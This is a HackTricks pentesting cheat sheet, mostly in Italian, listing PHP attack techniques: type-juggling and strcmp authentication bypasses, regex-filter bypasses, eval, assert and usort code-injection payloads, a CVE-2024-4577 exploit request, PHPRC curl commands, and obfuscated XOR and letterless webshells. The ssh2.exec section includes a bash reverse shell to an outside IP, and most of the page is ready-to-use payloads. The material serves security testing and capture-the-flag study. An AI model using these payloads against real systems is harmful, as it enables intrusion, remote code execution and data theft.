PHP Tricks

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Cookies common location:

Questo è valido anche per i Cookies di phpMyAdmin.

Cookies:

PHPSESSID
phpMyAdmin

Posizioni:

/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e

Bypassare i confronti in PHP

Loose comparisons/Type Juggling ( == )

If == is used in PHP, then there are unexpected cases where the comparison doesn’t behave as expected. This is because “==” only compare values transformed to the same type, if you also want to compare that the type of the compared data is the same you need to use ===.

PHP comparison tables: https://www.php.net/manual/en/types.comparisons.php

  • "string" == 0 -> True Una stringa che non inizia con un numero è considerata uguale a un numero
  • "0xAAAA" == "43690" -> True Stringhe composte da numeri in formato decimale o esadecimale possono essere confrontate con altri numeri/stringhe con risultato True se i numeri sono gli stessi (i numeri in una stringa vengono interpretati come numeri)
  • "0e3264578" == 0 --> True Una stringa che inizia con “0e” e seguita da qualsiasi cosa è uguale a 0
  • "0X3264578" == 0X --> True Una stringa che inizia con “0” e seguita da qualsiasi lettera (X può essere qualsiasi lettera) e da qualsiasi altra cosa è uguale a 0
  • "0e12334" == "0" --> True Questo è molto interessante perché in alcuni casi puoi controllare l’input stringa di “0” e parte del contenuto che viene hashed e confrontato con esso. Pertanto, se puoi fornire un valore che produca un hash che inizi con “0e” e senza alcuna lettera, potresti bypassare il confronto. Puoi trovare stringhe già hashate con questo formato qui: https://github.com/spaze/hashes
  • "X" == 0 --> True Qualsiasi lettera in una stringa è uguale all’int 0

More info in https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09

in_array()

Type Juggling influisce anche sulla funzione in_array() di default (è necessario impostare a true il terzo argomento per effettuare una comparazione stretta):

$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False

strcmp()/strcasecmp()

Se questa funzione è usata per qualsiasi controllo di autenticazione (come la verifica della password) e l’utente controlla un lato del confronto, può inviare un array vuoto invece di una stringa come valore della password (https://example.com/login.php/?username=admin&password[]=) e bypassare questo controllo:

if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password

Lo stesso errore si verifica con strcasecmp()

Type juggling rigoroso

Anche se === viene usato, potrebbero esserci errori che rendono la comparazione vulnerabile al type juggling. Per esempio, se la comparazione converte i dati in un diverso tipo di oggetto prima di confrontarli:

(int) "1abc" === (int) "1xyz" //This will be true

preg_match(/^.*/)

preg_match() potrebbe essere usato per validare l’input dell’utente (esso controlla se qualsiasi word/regex da una blacklist è presente nell’input dell’utente e, se non lo è, il codice può continuare la sua esecuzione).

New line bypass

Tuttavia, quando si delimita l’inizio della regexppreg_match() controlla solo la prima riga dell’input dell’utente, quindi se in qualche modo puoi inviare l’input su più righe, potresti essere in grado di effettuare un bypass di questo controllo. Esempio:

$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1  --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0  --> In this scenario preg_match DOESN'T find the char "1"

Per bypassare questo controllo puoi inviare il valore con new-lines urlencoded (%0A) oppure se puoi inviare JSON data, invialo in più righe:

{
"cmd": "cat /etc/passwd"
}

Trova un esempio qui: https://ramadistra.dev/fbctf-2019-rceservice

Length error bypass

(Questo bypass è stato provato apparentemente su PHP 5.2.5 e non sono riuscito a farlo funzionare su PHP 7.3.15)
Se puoi inviare a preg_match() un valido e molto large input, non sarà in grado di processarlo e potrai bypass il check. Per esempio, se sta facendo blacklisting di un JSON potresti inviare:

payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'

Da: https://medium.com/bugbountywriteup/solving-each-and-every-fb-ctf-challenge-part-1-4bce03e2ecb0

ReDoS Bypass

Trucco da: https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223 and https://mizu.re/post/pong

In breve il problema si verifica perché le funzioni preg_* in PHP si basano sulla PCRE library. In PCRE alcune espressioni regolari vengono abbinate usando molte chiamate ricorsive, che consumano molto spazio nello stack. È possibile impostare un limite al numero di ricorsioni consentite, ma in PHP questo limite defaults to 100.000 che è maggiore di quanto lo stack possa contenere.

This Stackoverflow thread è stato anche linkato nel post dove si parla più in dettaglio di questo problema. Il nostro compito divenne ora chiaro:
Inviare un input che faccia eseguire alla regex 100_000+ ricorsioni, causando SIGSEGV, facendo sì che la funzione preg_match() ritorni false e quindi facendo credere all’applicazione che il nostro input non sia malevolo, lanciando la sorpresa alla fine del payload, qualcosa come {system(<verybadcommand>)} per ottenere SSTI –> RCE –> flag :).

Beh, in termini di regex, non stiamo realmente facendo 100k “recursioni”, ma piuttosto stiamo contando “backtracking steps”, che, come la PHP documentation afferma, sono impostati per default a 1_000_000 (1M) nella variabile pcre.backtrack_limit.
Per raggiungere quel valore, 'X'*500_001 risulterà in 1 milione di backtracking steps (500k forward e 500k backwards):

payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"

Type Juggling per PHP obfuscation

$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7

Execute After Redirect (EAR)

Se PHP reindirizza a un’altra pagina ma non viene chiamata nessuna funzione die o exit dopo che l’header Location è impostato, PHP continua l’esecuzione e aggiunge i dati al corpo della risposta:

<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>

Path Traversal and File Inclusion Exploitation

Check:

File Inclusion/Path traversal

Altri trucchi

  • register_globals: In PHP < 4.1.1.1 o se mal configurato, register_globals può essere attivo (o il loro comportamento viene emulato). Questo implica che in variabili globali come $_GET se hanno un valore es. $_GET[“param”]=“1234”, puoi accedervi tramite $param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili che sono usate all’interno del codice.
  • Le PHPSESSION cookies dello stesso dominio sono memorizzate nello stesso posto, quindi se all’interno di un dominio vengono usati cookie diversi in percorsi diversi puoi fare in modo che un percorso acceda al cookie dell’altro percorso impostando il valore del cookie dell’altro percorso.
    In questo modo, se entrambi i percorsi accedono a una variabile con lo stesso nome puoi fare in modo che il valore di quella variabile in path1 si applichi a path2. E allora path2 considererà valide le variabili di path1 (assegnando al cookie il nome corrispondente a quello usato in path2).
  • Quando conosci gli usernames degli utenti della macchina, controlla l’indirizzo: /~<USERNAME> per vedere se le directory php sono attivate.
  • Se una config php ha register_argc_argv = On allora i parametri di query separati da spazi vengono usati per popolare l’array degli argomenti array_keys($_SERVER['argv']) come se fossero arguments from the CLI. Questo è interessante perché se quella setting is off, il valore dell’args array will be Null quando chiamato dal web poiché l’array degli args non verrà popolato. Pertanto, se una pagina web cerca di verificare se viene eseguita come web o come tool CLI con un confronto tipo if (empty($_SERVER['argv'])) {, un attaccante potrebbe inviare parameters in the GET request like ?--configPath=/lalala e il server penserà che venga eseguito come CLI e potenzialmente parserà e utilizzerà quegli argomenti. Maggiori info nel writeup originale.
  • LFI and RCE using php wrappers

password_hash/password_verify

These functions are typically used in PHP to generate hashes from passwords and to to check if a password is correct compared with a hash.
The supported algorithms are: PASSWORD_DEFAULT and PASSWORD_BCRYPT (starts with $2y$). Note that PASSWORD_DEFAULT is frequently the same as PASSWORD_BCRYPT. And currently, PASSWORD_BCRYPT has a size limitation in the input of 72bytes. Therefore, when you try to hash something larger than 72bytes with this algorithm only the first 72B will be used:

$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False

$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True

HTTP headers bypass abusing PHP errors

Provocare un errore dopo aver impostato gli headers

From this twitter thread puoi vedere che inviando più di 1000 GET params o 1000 POST params o 20 files, PHOP non imposterà gli headers nella risposta.

Permette di bypassare, per esempio, i CSP headers impostati in codici come:

<?php
header("Content-Security-Policy: default-src 'none';");
if (isset($_GET["xss"])) echo $_GET["xss"];

Riempire il corpo della risposta prima di impostare le intestazioni

Se una pagina PHP sta stampando errori e facendo echo di input forniti dall’utente, l’utente può far sì che il server PHP restituisca del contenuto sufficientemente lungo così che, quando tenta di aggiungere le intestazioni alla risposta, il server generi un errore.
Nello scenario seguente l’attaccante ha fatto sì che il server generasse errori di grandi dimensioni, e come si vede nella schermata quando php ha provato a modificare le informazioni degli header, non ci è riuscito (quindi, ad esempio, l’header CSP non è stato inviato all’utente):

SSRF nelle funzioni PHP

Consulta la pagina:

PHP SSRF

ssh2.exec stream wrapper RCE

When the ssh2 extension is installed (ssh2.so visible under /etc/php*/mods-available/, php -m, or even an FTP-accessible php8.1_conf/ directory), PHP registers ssh2.* wrappers that can be abused anywhere user input is concatenated into fopen()/file_get_contents() targets. An admin-only download helper such as:

$wrapper = strpos($_GET['format'], '://') !== false ? $_GET['format'] : '';
$file_content = fopen($wrapper ? $wrapper . $file : $file, 'r');

È sufficiente per eseguire comandi shell via SSH su localhost:

GET /download.php?id=54&show=true&format=ssh2.exec://yuri:mustang@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
  • La parte delle credenziali può riutilizzare qualsiasi leaked system password (e.g., from cracked bcrypt hashes).
  • Il # finale commenta il suffisso lato server (files/<id>.zip), quindi viene eseguito solo il tuo comando.
  • Blind RCE si conferma monitorando l’egress con tcpdump -ni tun0 icmp o servendo un HTTP canary.

Sostituisci il comando con un reverse shell payload una volta convalidato:

format=ssh2.exec://yuri:mustang@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#

Poiché tutto avviene all’interno del PHP worker, la connessione TCP origina dal target e eredita i privilegi dell’account iniettato (yuri, eric, etc.).

Esecuzione di codice

system(“ls”);
ls;
shell_exec(“ls”);

Check this for more useful PHP functions

RCE via preg_replace()

preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")

Per eseguire il codice nell’argomento “replace” è necessaria almeno una corrispondenza.
Questa opzione di preg_replace è stata deprecata a partire da PHP 5.5.0.

RCE via Eval()

'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>

RCE tramite Assert()

Questa funzione all’interno di PHP permette di eseguire codice scritto in una stringa per restituire true o false (e a seconda di questo modificare l’esecuzione). Di solito la variabile controllata dall’utente verrà inserita nel mezzo di una stringa. Per esempio:
assert("strpos($_GET['page']),'..') === false") –> In questo caso, per ottenere RCE potresti fare:

?page=a','NeVeR') === false and system('ls') and strpos('a

Dovrai rompere la sintassi del codice, inserire il tuo payload, e poi ripristinarla. Puoi usare operazioni logiche come “and”, “%26%26” o “|”. Nota che “or”, “||” non funzionano perché se la prima condizione è vera il nostro payload non verrà eseguito. Allo stesso modo “;” non funziona poiché il nostro payload non verrà eseguito.

Altra opzione è aggiungere alla stringa l’esecuzione del comando: '.highlight_file('.passwd').'

Altra opzione (se hai il codice interno) è modificare qualche variabile per alterare l’esecuzione: $file = "hola"

RCE via usort()

Questa funzione viene usata per ordinare un array di elementi usando una funzione specifica.
Per abusare di questa funzione:

<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#

<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#

<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>

You can also use // to comment the rest of the code.

Per scoprire il numero di parentesi che devi chiudere:

  • ?order=id;}//: otteniamo un messaggio di errore (Parse error: syntax error, unexpected ';'). Probabilmente ci manca una o più parentesi.
  • ?order=id);}//: otteniamo un warning. Sembra corretto.
  • ?order=id));}//: otteniamo un messaggio di errore (Parse error: syntax error, unexpected ')' i). Probabilmente abbiamo troppe parentesi di chiusura.

RCE tramite .httaccess

Se puoi upload un .htaccess, allora puoi configure diverse cose e perfino eseguire codice (configurando che i file con estensione .htaccess possano essere executed).

Different .htaccess shells possono essere trovate here

RCE tramite Env Variables

Se trovi una vulnerabilità che ti permette di modify env variables in PHP (e un’altra per caricare file, anche se con più ricerca questo potrebbe essere bypassato), potresti abusare di questo comportamento per ottenere RCE.

  • LD_PRELOAD: Questa variabile d’ambiente permette di caricare librerie arbitrarie quando si eseguono altri binari (anche se in questo caso potrebbe non funzionare).
  • PHPRC : Indica a PHP dove trovare il suo file di configurazione, solitamente chiamato php.ini. Se puoi caricare il tuo file di configurazione, usa PHPRC per puntare PHP su di esso. Aggiungi una voce auto_prepend_file specificando un secondo file caricato. Questo secondo file contiene normale codice PHP, che viene poi eseguito dal runtime PHP prima di qualsiasi altro codice.
  1. Carica un file PHP contenente il nostro shellcode
  2. Carica un secondo file, contenente una direttiva auto_prepend_file che istruisce il preprocessore PHP ad eseguire il file caricato al punto 1
  3. Imposta la variabile PHPRC sul file caricato al punto 2.
  • Per maggiori informazioni su come eseguire questa catena vedi from the original report.
  • PHPRC - un’altra opzione
  • Se non puoi caricare file, su FreeBSD puoi usare il “file” /dev/fd/0 che contiene lo stdin, ossia il body della richiesta inviata allo stdin:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
  • Oppure, per ottenere RCE, abilita allow_url_include e premetti un file con codice PHP in base64:
  • curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
  • Tecnica from this report.

XAMPP CGI RCE - CVE-2024-4577

Il webserver analizza le richieste HTTP e le passa a uno script PHP eseguendo una richiesta come http://host/cgi.php?foo=bar come php.exe cgi.php foo=bar, il che permette un’injection di parametri. Questo permetterebbe di iniettare i seguenti parametri per caricare il codice PHP dal body:

-d allow_url_include=1 -d auto_prepend_file=php://input

Inoltre, è possibile iniettare il parametro “-” usando il carattere 0xAD a causa della successiva normalizzazione di PHP. Guarda l’esempio di exploit in this post:

POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{host}}
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 23
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive

<?php
phpinfo();
?>

PHP Sanitization bypass & Brain Fuck

In this post è possibile trovare ottime idee per generare un brain fuck PHP code con pochissimi caratteri consentiti.\ Inoltre viene proposta anche una modalità interessante per eseguire functions che ha permesso loro di bypassare diversi checks:

(1)->{system($_GET[chr(97)])}

PHP Analisi statica

Verifica se riesci a inserire codice nelle chiamate a queste funzioni (da here):

exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea

Se stai facendo il debugging di un’applicazione PHP puoi abilitare globalmente la stampa degli errori in /etc/php5/apache2/php.ini aggiungendo display_errors = On e riavviare apache: sudo systemctl restart apache2

Deobfuscare codice PHP

Puoi usare il web www.unphp.net per deobfuscare il codice PHP.

PHP Wrappers & Protocols

I PHP Wrappers e i Protocols possono permetterti di bypass write and read protections in un sistema e comprometterlo. Per maggiori informazioni consulta questa pagina.

Xdebug unauthenticated RCE

Se vedi che Xdebug è abilitato nell’output di phpconfig() dovresti provare a ottenere RCE tramite https://github.com/nqxcode/xdebug-exploit

Variable variables

$x = 'Da';
$$x = 'Drums';

echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums

RCE abusing new $_GET[“a”]($_GET[“b”])

Se in una pagina puoi create a new object of an arbitrary class potresti essere in grado di ottenere RCE; consulta la pagina seguente per imparare come:

Php Rce Abusing Object Creation New Usd Get A Usd Get B

Eseguire PHP senza lettere

https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/

Usando ottale

$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);

XOR

$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)

XOR easy shell code

Secondo this writeup , è possibile generare il seguente easy shellcode in questo modo:

$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);

Quindi, se puoi execute arbitrary PHP without numbers and letters, puoi inviare una richiesta come la seguente abusando di quel payload per execute arbitrary PHP:

POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded

comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);

Per una spiegazione più approfondita, consulta https://ctf-wiki.org/web/php/php/#preg_match

XOR Shellcode (inside eval)

#!/bin/bash

if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi

CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"

Simile a Perl

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks